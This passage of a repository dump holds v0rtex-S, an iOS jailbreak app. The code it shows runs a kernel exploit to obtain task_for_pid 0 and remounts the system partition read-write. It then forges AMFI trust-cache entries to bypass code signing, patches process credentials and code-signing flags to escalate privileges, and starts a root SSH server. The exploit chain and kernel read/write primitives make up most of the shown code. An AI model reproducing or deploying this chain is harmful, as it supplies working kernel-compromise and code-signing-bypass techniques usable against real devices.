66 | "idiom" : "ipad",
67 | "size" : "40x40",
68 | "scale" : "1x"
69 | },
70 | {
71 | "idiom" : "ipad",
72 | "size" : "40x40",
73 | "scale" : "2x"
74 | },
75 | {
76 | "size" : "76x76",
77 | "idiom" : "ipad",
78 | "filename" : "ipad.png",
79 | "scale" : "1x"
80 | },
81 | {
82 | "size" : "76x76",
83 | "idiom" : "ipad",
84 | "filename" : "ipad@2x.png",
85 | "scale" : "2x"
86 | },
87 | {
88 | "idiom" : "ipad",
89 | "size" : "83.5x83.5",
90 | "scale" : "2x"
91 | },
92 | {
93 | "idiom" : "ios-marketing",
94 | "size" : "1024x1024",
95 | "scale" : "1x"
96 | }
97 | ],
98 | "info" : {
99 | "version" : 1,
100 | "author" : "xcode"
101 | }
102 | }
--------------------------------------------------------------------------------
/v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad.png
--------------------------------------------------------------------------------
/v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/Assets.xcassets/AppIcon.appiconset/ipad@2x.png
--------------------------------------------------------------------------------
/v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@2x.png
--------------------------------------------------------------------------------
/v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/Assets.xcassets/AppIcon.appiconset/iphone@3x.png
--------------------------------------------------------------------------------
/v0rtex-S/Base.lproj/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/v0rtex-S/Base.lproj/Main.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 | Menlo-Regular
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
40 |
50 |
60 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/v0rtex-S/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleDisplayName
8 | v0rtex-S
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | APPL
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleVersion
22 | 1
23 | LSRequiresIPhoneOS
24 |
25 | UILaunchStoryboardName
26 | LaunchScreen
27 | UIMainStoryboardFile
28 | Main
29 | UIRequiredDeviceCapabilities
30 |
31 | armv7
32 |
33 | UIStatusBarStyle
34 | UIStatusBarStyleLightContent
35 | UISupportedInterfaceOrientations
36 |
37 | UIInterfaceOrientationPortrait
38 |
39 | UISupportedInterfaceOrientations~ipad
40 |
41 | UIInterfaceOrientationPortrait
42 | UIInterfaceOrientationPortraitUpsideDown
43 | UIInterfaceOrientationLandscapeLeft
44 | UIInterfaceOrientationLandscapeRight
45 |
46 | UIViewControllerBasedStatusBarAppearance
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/v0rtex-S/ViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.h
3 | // v0rtex
4 | //
5 | // Created by Sticktron on 2017-12-07.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface ViewController : UIViewController
12 | @end
13 |
14 |
--------------------------------------------------------------------------------
/v0rtex-S/ViewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.m
3 | // v0rtex
4 | //
5 | // Created by Sticktron on 2017-12-07.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #import "ViewController.h"
10 |
11 | #include "v0rtex.h"
12 | #include "kernel.h"
13 | #include "symbols.h"
14 | #include "root-rw.h"
15 | #include "libjb.h"
16 | #include "patchfinder64.h"
17 | #include "v0rtex.h"
18 | #include "amfi.h"
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 |
26 | @interface ViewController ()
27 | @property (weak, nonatomic) IBOutlet UITextView *outputView;
28 | @property (weak, nonatomic) IBOutlet UIButton *sploitButton;
29 | @end
30 |
31 | @implementation ViewController
32 |
33 | task_t tfp0;
34 | kptr_t kslide;
35 | kptr_t kern_ucred;
36 | kptr_t self_proc;
37 |
38 | - (void)viewDidLoad {
39 | [super viewDidLoad];
40 |
41 | self.sploitButton.layer.cornerRadius = 8;
42 | [self.sploitButton setTitleColor:UIColor.darkGrayColor forState:UIControlStateDisabled];
43 |
44 | self.outputView.layer.cornerRadius = 6;
45 | self.outputView.text = nil;
46 |
47 | // print kernel version
48 | struct utsname u;
49 | uname(&u);
50 | [self writeText:[NSString stringWithFormat:@"%s \n", u.version]];
51 |
52 | // init offsets
53 | if (init_symbols()) {
54 | [self writeText:@"Ready. \n"];
55 | } else {
56 | [self writeText:@"❌ Device/OS not supported."];
57 | self.sploitButton.enabled = NO;
58 | }
59 | }
60 |
61 | - (IBAction)runSploitButton:(UIButton *)sender {
62 | [self writeText:@"> exploiting kernel..."];
63 |
64 | tfp0 = MACH_PORT_NULL;
65 | kslide = 0;
66 | kern_ucred = 0;
67 | self_proc = 0;
68 |
69 |
70 | /* Use v0rtex exploit */
71 |
72 | kern_return_t ret = v0rtex(&tfp0, &kslide, &kern_ucred, &self_proc);
73 | if (ret != KERN_SUCCESS) {
74 | LOG("v0rtex exploit failed");
75 | [self writeText:@"ERROR: exploit failed \n"];
76 | return;
77 | }
78 |
79 | self.sploitButton.enabled = NO;
80 | [self writeText:@"exploit succeeded ✅ \n"];
81 |
82 | LOG("tfp0 -> %x", tfp0);
83 | LOG("slide -> 0x%llx", kslide);
84 | LOG("self_proc -> 0x%llx", self_proc);
85 | LOG("kern_ucred -> 0x%llx", kern_ucred);
86 |
87 |
88 | /* Set up patchfinder and stuff */
89 |
90 | init_patchfinder(tfp0, kslide + 0xFFFFFFF007004000, NULL);
91 | init_amfi(tfp0);
92 | init_kernel(tfp0);
93 |
94 |
95 | /* Remount system partition as r/w */
96 |
97 | int remount = mount_root(tfp0, kslide);
98 | if (remount != 0) {
99 | LOG("failed to remount /");
100 | [self writeText:@"ERROR: failed to remount system partition \n"];
101 | return;
102 | }
103 | [self writeText:@"remounted system partition as r/w"];
104 |
105 |
106 | /* Install payload */
107 |
108 | [self writeText:@"installing payload"];
109 | {
110 | NSFileManager *fileMgr = [NSFileManager defaultManager];
111 | NSString *bundlePath = [NSString stringWithFormat:@"%s", bundle_path()];
112 |
113 | // cleanup leftovers
114 | [fileMgr removeItemAtPath:@"/v0rtex" error:nil];
115 | [fileMgr removeItemAtPath:@"/bin/sh" error:nil];
116 | LOG("removed old payload files");
117 |
118 | // create dirs for v0rtex
119 | mkdir("/v0rtex", 0777);
120 | mkdir("/v0rtex/bins", 0777);
121 | mkdir("/v0rtex/logs", 0777);
122 |
123 | // create dirs and files for dropbear
124 | // mkdir("/etc", 0777);
125 | mkdir("/etc/dropbear", 0777);
126 | // mkdir("/var", 0777);
127 | // mkdir("/var/log", 0777);
128 | FILE *lastLog = fopen("/var/log/lastlog", "ab+");
129 | fclose(lastLog);
130 |
131 | // copy files from bundle
132 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/bootstrap.tar"]
133 | toPath:@"/v0rtex/bootstrap.tar" error: nil];
134 |
135 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/tar"]
136 | toPath:@"/v0rtex/tar" error:nil];
137 |
138 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/bash"]
139 | toPath:@"/bin/sh" error:nil];
140 |
141 | [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/dropbear"]
142 | toPath:@"/v0rtex/dropbear" error:nil];
143 |
144 | // grant permissions
145 | chmod("/v0rtex/tar", 0777);
146 | chmod("/bin/sh", 0777);
147 | chmod("/v0rtex/dropbear", 0777);
148 | LOG("granted some permission");
149 |
150 | // fuck up amfi
151 | inject_trust("/v0rtex/tar");
152 | inject_trust("/bin/sh");
153 | inject_trust("/v0rtex/dropbear");
154 | LOG("fucked up amfi");
155 |
156 | // extract payload
157 | execprog(0, "/v0rtex/tar", (const char **)&(const char*[]){ "/v0rtex/tar", "-xf", "/v0rtex/bootstrap.tar", "-C", "/v0rtex", NULL });
158 | LOG("un-tarred payload");
159 |
160 | // trust files in payload
161 | trust_files("/v0rtex/bins");
162 | [self writeText:@"trusted payload binaries"];
163 |
164 | // create bash profiles with our bin path
165 | if (![fileMgr fileExistsAtPath:@"/var/mobile/.profile"]) {
166 | [fileMgr createFileAtPath:@"/var/mobile/.profile" contents:[[NSString stringWithFormat:@"export PATH=/v0rtex/bins:$PATH"] dataUsingEncoding:NSASCIIStringEncoding] attributes:nil];
167 | }
168 | if (![fileMgr fileExistsAtPath:@"/var/root/.profile"]) {
169 | [fileMgr createFileAtPath:@"/var/root/.profile" contents:[[NSString stringWithFormat:@"export PATH=/v0rtex/bins:$PATH"] dataUsingEncoding:NSASCIIStringEncoding] attributes:nil];
170 | }
171 |
172 | // leave a footprint ;)
173 | FILE *f = fopen("/.installed_v0rtex", "w");
174 | fclose(f);
175 |
176 | // no stashing please !!!
177 | FILE *f2 = fopen("/.cydia_no_stash", "w");
178 | fclose(f2);
179 | }
180 |
181 |
182 | /* Launch dropbear */
183 |
184 | [self writeText:@"launching dropbear"];
185 |
186 | execprog(kern_ucred, "/v0rtex/dropbear", (const char**)&(const char*[]){
187 | "/v0rtex/dropbear", "-R", "-E", "-m", "-S", "/", "-p", "2222", NULL
188 | });
189 |
190 | [self writeText:@"* dropbear should now be running on port 2222"];
191 | [self writeText:@"* to connect:ssh -p2222 root@{YOUR_DEVICE_IP}"];
192 | [self writeText:@"\n"];
193 |
194 |
195 | /* The End. */
196 |
197 | [self writeText:@"All done, peace!"];
198 | }
199 |
200 | - (void)writeText:(NSString *)text {
201 | self.outputView.text = [NSString stringWithFormat:@"%@%@ \n", self.outputView.text, text];
202 | }
203 |
204 | // creds to stek on this one
205 | int execprog(uint64_t kern_ucred, const char *prog, const char* args[]) {
206 | if (args == NULL) {
207 | args = (const char **)&(const char*[]){ prog, NULL };
208 | }
209 |
210 | const char *logfile = [NSString stringWithFormat:@"/v0rtex/logs/%@-%lu",
211 | [[NSMutableString stringWithUTF8String:prog] stringByReplacingOccurrencesOfString:@"/" withString:@"_"],
212 | time(NULL)].UTF8String;
213 | printf("Spawning [ ");
214 | for (const char **arg = args; *arg != NULL; ++arg) {
215 | printf("'%s' ", *arg);
216 | }
217 | printf("] to logfile [ %s ] \n", logfile);
218 |
219 | int rv;
220 | posix_spawn_file_actions_t child_fd_actions;
221 | if ((rv = posix_spawn_file_actions_init (&child_fd_actions))) {
222 | perror ("posix_spawn_file_actions_init");
223 | return rv;
224 | }
225 | if ((rv = posix_spawn_file_actions_addopen (&child_fd_actions, STDOUT_FILENO, logfile,
226 | O_WRONLY | O_CREAT | O_TRUNC, 0666))) {
227 | perror ("posix_spawn_file_actions_addopen");
228 | return rv;
229 | }
230 | if ((rv = posix_spawn_file_actions_adddup2 (&child_fd_actions, STDOUT_FILENO, STDERR_FILENO))) {
231 | perror ("posix_spawn_file_actions_adddup2");
232 | return rv;
233 | }
234 |
235 | pid_t pd;
236 | if ((rv = posix_spawn(&pd, prog, &child_fd_actions, NULL, (char**)args, NULL))) {
237 | printf("posix_spawn error: %d (%s)\n", rv, strerror(rv));
238 | return rv;
239 | }
240 |
241 | printf("process spawned with pid %d \n", pd);
242 |
243 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
244 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
245 | #define CS_HARD 0x0000100 /* don't load invalid pages */
246 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
247 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
248 |
249 | /*
250 | 1. read 8 bytes from proc+0x100 into self_ucred
251 | 2. read 8 bytes from kern_ucred + 0x78 and write them to self_ucred + 0x78
252 | 3. write 12 zeros to self_ucred + 0x18
253 | */
254 |
255 | // find_allproc will crash, currently
256 | // please fix
257 | if (kern_ucred != 0) {
258 | int tries = 3;
259 | while (tries-- > 0) {
260 | sleep(1);
261 | uint64_t proc = rk64(kslide + 0xFFFFFFF0075E66F0);
262 | while (proc) {
263 | uint32_t pid = rk32(proc + 0x10);
264 | if (pid == pd) {
265 | uint32_t csflags = rk32(proc + 0x2a8);
266 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD);
267 | wk32(proc + 0x2a8, csflags);
268 | tries = 0;
269 |
270 | // i don't think this bit is implemented properly
271 | uint64_t self_ucred = rk64(proc + 0x100);
272 | uint32_t selfcred_temp = rk32(kern_ucred + 0x78);
273 | wk32(self_ucred + 0x78, selfcred_temp);
274 |
275 | for (int i = 0; i < 12; i++) {
276 | wk32(self_ucred + 0x18 + (i * sizeof(uint32_t)), 0);
277 | }
278 |
279 | printf("gave elevated perms to pid %d \n", pid);
280 |
281 | // original stuff, rewritten above using v0rtex stuff
282 | // kcall(find_copyout(), 3, proc+0x100, &self_ucred, sizeof(self_ucred));
283 | // kcall(find_bcopy(), 3, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t));
284 | // kcall(find_bzero(), 2, self_ucred + 0x18, 12);
285 | break;
286 | }
287 | proc = rk64(proc);
288 | }
289 | }
290 | }
291 |
292 | int status;
293 | waitpid(pd, &status, 0);
294 | printf("'%s' exited with %d (sig %d)\n", prog, WEXITSTATUS(status), WTERMSIG(status));
295 |
296 | char buf[65] = {0};
297 | int fd = open(logfile, O_RDONLY);
298 | if (fd == -1) {
299 | perror("open logfile");
300 | return 1;
301 | }
302 |
303 | printf("contents of %s: \n ------------------------- \n", logfile);
304 | while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {
305 | printf("%s", buf);
306 | }
307 | printf("%s", buf);
308 | printf("\n-------------------------\n");
309 |
310 | close(fd);
311 | remove(logfile);
312 |
313 | return 0;
314 | }
315 |
316 | int execprog_clean(uint64_t kern_ucred, const char *prog, const char* args[]) {
317 | if (args == NULL) {
318 | args = (const char **)&(const char*[]){ prog, NULL };
319 | }
320 |
321 | int rv;
322 | pid_t pd;
323 | if ((rv = posix_spawn(&pd, prog, NULL, NULL, (char**)args, NULL))) {
324 | printf("posix_spawn error: %d (%s)\n", rv, strerror(rv));
325 | return rv;
326 | }
327 |
328 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
329 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
330 | #define CS_HARD 0x0000100 /* don't load invalid pages */
331 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
332 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
333 |
334 | /*
335 | 1. read 8 bytes from proc+0x100 into self_ucred
336 | 2. read 8 bytes from kern_ucred + 0x78 and write them to self_ucred + 0x78
337 | 3. write 12 zeros to self_ucred + 0x18
338 | */
339 |
340 | if (kern_ucred != 0) {
341 | int tries = 3;
342 | while (tries-- > 0) {
343 | sleep(1);
344 | // this needs to be moved to an offset VVVVVVVVVVVVV
345 | uint64_t proc = rk64(kslide + 0xFFFFFFF0075E66F0);
346 | while (proc) {
347 | uint32_t pid = rk32(proc + 0x10);
348 | if (pid == pd) {
349 | uint32_t csflags = rk32(proc + 0x2a8);
350 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD);
351 | wk32(proc + 0x2a8, csflags);
352 | tries = 0;
353 |
354 | // i don't think this bit is implemented properly
355 | uint64_t self_ucred = rk64(proc + 0x100);
356 | uint32_t selfcred_temp = rk32(kern_ucred + 0x78);
357 | wk32(self_ucred + 0x78, selfcred_temp);
358 |
359 | for (int i = 0; i < 12; i++) {
360 | wk32(self_ucred + 0x18 + (i * sizeof(uint32_t)), 0);
361 | }
362 |
363 | // original stuff, rewritten above using v0rtex stuff
364 | // kcall(find_copyout(), 3, proc+0x100, &self_ucred, sizeof(self_ucred));
365 | // kcall(find_bcopy(), 3, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t));
366 | // kcall(find_bzero(), 2, self_ucred + 0x18, 12);
367 | break;
368 | }
369 | proc = rk64(proc);
370 | }
371 | }
372 | }
373 |
374 | int status;
375 | waitpid(pd, &status, 0);
376 | return status;
377 | }
378 |
379 | void read_file(const char *path) {
380 | char buf[65] = {0};
381 | int fd = open(path, O_RDONLY);
382 | if (fd == -1) {
383 | perror("open path");
384 | return;
385 | }
386 |
387 | printf("contents of %s: \n ------------------------- \n", path);
388 | while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {
389 | printf("%s", buf);
390 | }
391 | printf("%s", buf);
392 | printf("\n-------------------------\n");
393 |
394 | close(fd);
395 | }
396 |
397 | char* bundle_path() {
398 | CFBundleRef mainBundle = CFBundleGetMainBundle();
399 | CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle);
400 | int len = 4096;
401 | char* path = malloc(len);
402 |
403 | CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len);
404 |
405 | return path;
406 | }
407 |
408 | @end
409 |
--------------------------------------------------------------------------------
/v0rtex-S/amfi.h:
--------------------------------------------------------------------------------
1 | //
2 | // amfi.h
3 | // v0rtex-s
4 | //
5 | // Created by Ben on 19/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 |
10 |
11 | void init_amfi(task_t task_for_port0);
12 | void trust_files(const char *path);
13 | void inject_trust(const char *path);
14 |
15 | uint8_t *getCodeDirectory(const char* name);
16 | uint8_t *getSHA256(uint8_t* code_dir);
17 | uint32_t swap_uint32(uint32_t val);
18 |
--------------------------------------------------------------------------------
/v0rtex-S/amfi.m:
--------------------------------------------------------------------------------
1 | //
2 | // amfi.m
3 | // v0rtex
4 | //
5 | // Created by Ben on 19/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #import "patchfinder64.h"
10 | #import "libjb.h"
11 | #import "kernel.h"
12 | #import "amfi.h"
13 | #import
14 | #import
15 | #import
16 |
17 | task_t tfp0;
18 | uint64_t trust_cache;
19 | uint64_t amficache;
20 |
21 | void init_amfi(task_t task_for_port0) {
22 | tfp0 = task_for_port0;
23 | trust_cache = find_trustcache();
24 | amficache = find_amficache();
25 |
26 | term_kernel();
27 |
28 | printf("trust_cache = 0x%llx \n", trust_cache);
29 | printf("amficache = 0x%llx \n", amficache);
30 | }
31 |
32 | // creds to xerub for grab_hashes (and ty for libjb update!)
33 | void trust_files(const char *path) {
34 | struct trust_mem mem;
35 | mem.next = rk64(trust_cache);
36 | *(uint64_t *)&mem.uuid[0] = 0xabadbabeabadbabe;
37 | *(uint64_t *)&mem.uuid[8] = 0xabadbabeabadbabe;
38 |
39 | grab_hashes(path, tfp0_kread, amficache, mem.next);
40 |
41 | size_t length = (sizeof(mem) + numhash * 20 + 0xFFFF) & ~0xFFFF;
42 |
43 | uint64_t kernel_trust;
44 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&kernel_trust, length, VM_FLAGS_ANYWHERE);
45 |
46 | mem.count = numhash;
47 | kwrite(kernel_trust, &mem, sizeof(mem));
48 | kwrite(kernel_trust + sizeof(mem), allhash, numhash * 20);
49 | kwrite_uint64(trust_cache, kernel_trust);
50 |
51 | free(allhash);
52 | free(allkern);
53 | free(amfitab);
54 |
55 | printf("[amfi] get fucked @ %s (%d files) \n", path, numhash);
56 | }
57 |
58 | // creds to stek29(?)
59 | void inject_trust(const char *path) {
60 | typedef char hash_t[20];
61 |
62 | struct trust_chain {
63 | uint64_t next;
64 | unsigned char uuid[16];
65 | unsigned int count;
66 | hash_t hash[1];
67 | };
68 |
69 | struct trust_chain fake_chain;
70 |
71 | fake_chain.next = rk64(trust_cache);
72 | *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe;
73 | *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe;
74 | fake_chain.count = 1;
75 |
76 | uint8_t *codeDir = getCodeDirectory(path);
77 | if (codeDir == NULL) {
78 | printf("[amfi] was given null code dir for %s ! \n", path);
79 | return;
80 | }
81 |
82 | uint8_t *hash = getSHA256(codeDir);
83 | memmove(fake_chain.hash[0], hash, 20);
84 |
85 | free(hash);
86 |
87 | uint64_t kernel_trust = 0;
88 | mach_vm_allocate(tfp0, &kernel_trust, sizeof(fake_chain), VM_FLAGS_ANYWHERE);
89 |
90 | kwrite(kernel_trust, &fake_chain, sizeof(fake_chain));
91 | wk64(trust_cache, kernel_trust);
92 |
93 | printf("[amfi] signed %s \n", path);
94 | }
95 |
96 | // creds to nullpixel
97 | uint8_t *getCodeDirectory(const char* name) {
98 | FILE* fd = fopen(name, "r");
99 |
100 | struct mach_header_64 mh;
101 | fread(&mh, sizeof(struct mach_header_64), 1, fd);
102 |
103 | long off = sizeof(struct mach_header_64);
104 | for (int i = 0; i < mh.ncmds; i++) {
105 | const struct load_command cmd;
106 | fseek(fd, off, SEEK_SET);
107 | fread(&cmd, sizeof(struct load_command), 1, fd);
108 | if (cmd.cmd == 0x1d) {
109 | uint32_t off_cs;
110 | fread(&off_cs, sizeof(uint32_t), 1, fd);
111 | uint32_t size_cs;
112 | fread(&size_cs, sizeof(uint32_t), 1, fd);
113 |
114 | uint8_t *cd = malloc(size_cs);
115 | fseek(fd, off_cs, SEEK_SET);
116 | fread(cd, size_cs, 1, fd);
117 |
118 | return cd;
119 | } else {
120 | off += cmd.cmdsize;
121 | }
122 | }
123 |
124 | return NULL;
125 | }
126 |
127 | // creds to nullpixel
128 | uint8_t *getSHA256(uint8_t* code_dir) {
129 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH);
130 |
131 | uint32_t* code_dir_int = (uint32_t*)code_dir;
132 |
133 | uint32_t realsize = 0;
134 | for (int j = 0; j < 10; j++) {
135 | if (swap_uint32(code_dir_int[j]) == 0xfade0c02) {
136 | realsize = swap_uint32(code_dir_int[j+1]);
137 | code_dir += 4*j;
138 | }
139 | }
140 |
141 | CC_SHA256(code_dir, realsize, out);
142 |
143 | return out;
144 | }
145 |
146 | uint32_t swap_uint32(uint32_t val) {
147 | val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF);
148 | return (val << 16) | (val >> 16);
149 | }
150 |
--------------------------------------------------------------------------------
/v0rtex-S/bash:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/bash
--------------------------------------------------------------------------------
/v0rtex-S/bootstrap.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/bootstrap.tar
--------------------------------------------------------------------------------
/v0rtex-S/common.h:
--------------------------------------------------------------------------------
1 | #ifndef COMMON_H
2 | #define COMMON_H
3 |
4 | #include // uint*_t
5 | #include
6 |
7 | #ifdef __LP64__
8 | # define ADDR "0x%016llx"
9 | typedef uint64_t kptr_t;
10 | #else
11 | # define ADDR "0x%08x"
12 | typedef uint32_t kptr_t;
13 | #endif
14 |
15 | #define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0)
16 |
17 | // Re-direct LOG macro to GUI
18 | //#include "ViewController.h"
19 | //extern id controller;
20 | //#define LOG(str, args...) do { \
21 | // if (controller && [controller respondsToSelector:@selector(log:)]) { \
22 | // if ([NSThread isMainThread]) { \
23 | // [controller log:[NSString stringWithFormat:@str "\n", ##args]]; \
24 | // } else { \
25 | // [controller performSelectorOnMainThread:@selector(log:) withObject:[NSString stringWithFormat:@str "\n", ##args] waitUntilDone:NO]; \
26 | // } \
27 | // } else { \
28 | // NSLog(@str "\n", ##args); \
29 | // } \
30 | //} while(0)
31 |
32 | #endif
33 |
--------------------------------------------------------------------------------
/v0rtex-S/dropbear:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/dropbear
--------------------------------------------------------------------------------
/v0rtex-S/kernel.h:
--------------------------------------------------------------------------------
1 | //
2 | // kernel.h
3 | // v0rtex-s
4 | //
5 | // Created by Ben on 16/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #include
10 |
11 | void init_kernel(task_t tfp0);
12 | size_t tfp0_kread(uint64_t where, void *p, size_t size);
13 | uint64_t rk64(uint64_t kaddr);
14 | uint32_t rk32(uint64_t kaddr);
15 | void wk64(uint64_t kaddr, uint64_t val);
16 | void wk32(uint64_t kaddr, uint32_t val);
17 | size_t kwrite(uint64_t where, const void *p, size_t size);
18 | size_t kwrite_uint64(uint64_t where, uint64_t value);
19 |
20 | kern_return_t mach_vm_write(vm_map_t target_task,
21 | mach_vm_address_t address,
22 | vm_offset_t data,
23 | mach_msg_type_number_t dataCnt);
24 |
25 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task,
26 | mach_vm_address_t address,
27 | mach_vm_size_t size,
28 | mach_vm_address_t data,
29 | mach_vm_size_t *outsize);
30 |
31 | kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);
32 |
--------------------------------------------------------------------------------
/v0rtex-S/kernel.m:
--------------------------------------------------------------------------------
1 | //
2 | // kernel.m
3 | // v0rtex
4 | //
5 | // Created by Ben on 16/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #include "kernel.h"
10 | #include "common.h"
11 | #include
12 |
13 | task_t tfp0;
14 |
15 | void init_kernel(task_t task_for_port0) {
16 | tfp0 = task_for_port0;
17 | }
18 |
19 | size_t tfp0_kread(uint64_t where, void *p, size_t size)
20 | {
21 | int rv;
22 | size_t offset = 0;
23 | while (offset < size) {
24 | mach_vm_size_t sz, chunk = 2048;
25 | if (chunk > size - offset) {
26 | chunk = size - offset;
27 | }
28 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
29 |
30 | if (rv || sz == 0) {
31 | break;
32 | }
33 |
34 | offset += sz;
35 | }
36 | return offset;
37 | }
38 |
39 | uint64_t rk64(uint64_t kaddr) {
40 | uint64_t lower = rk32(kaddr);
41 | uint64_t higher = rk32(kaddr + 4);
42 | return ((higher << 32) | lower);
43 | }
44 |
45 | uint32_t rk32(uint64_t kaddr) {
46 | kern_return_t err;
47 | uint32_t val = 0;
48 | mach_vm_size_t outsize = 0;
49 |
50 | // mach (for kern r/w primitives)
51 | kern_return_t mach_vm_write(vm_map_t target_task,
52 | mach_vm_address_t address,
53 | vm_offset_t data,
54 | mach_msg_type_number_t dataCnt);
55 |
56 | err = mach_vm_read_overwrite(tfp0,
57 | (mach_vm_address_t)kaddr,
58 | (mach_vm_size_t)sizeof(uint32_t),
59 | (mach_vm_address_t)&val,
60 | &outsize);
61 |
62 | if (err != KERN_SUCCESS) {
63 | // printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
64 | // sleep(3);
65 | return 0;
66 | }
67 |
68 | if (outsize != sizeof(uint32_t)) {
69 | // printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
70 | // sleep(3);
71 | return 0;
72 | }
73 |
74 | return val;
75 | }
76 |
77 | void wk64(uint64_t kaddr, uint64_t val) {
78 | uint32_t lower = (uint32_t)(val & 0xffffffff);
79 | uint32_t higher = (uint32_t)(val >> 32);
80 | wk32(kaddr, lower);
81 | wk32(kaddr + 4, higher);
82 | }
83 |
84 | void wk32(uint64_t kaddr, uint32_t val) {
85 | if (tfp0 == MACH_PORT_NULL) {
86 | // printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
87 | // sleep(3);
88 | return;
89 | }
90 |
91 | kern_return_t err;
92 | err = mach_vm_write(tfp0,
93 | (mach_vm_address_t)kaddr,
94 | (vm_offset_t)&val,
95 | (mach_msg_type_number_t)sizeof(uint32_t));
96 |
97 | if (err != KERN_SUCCESS) {
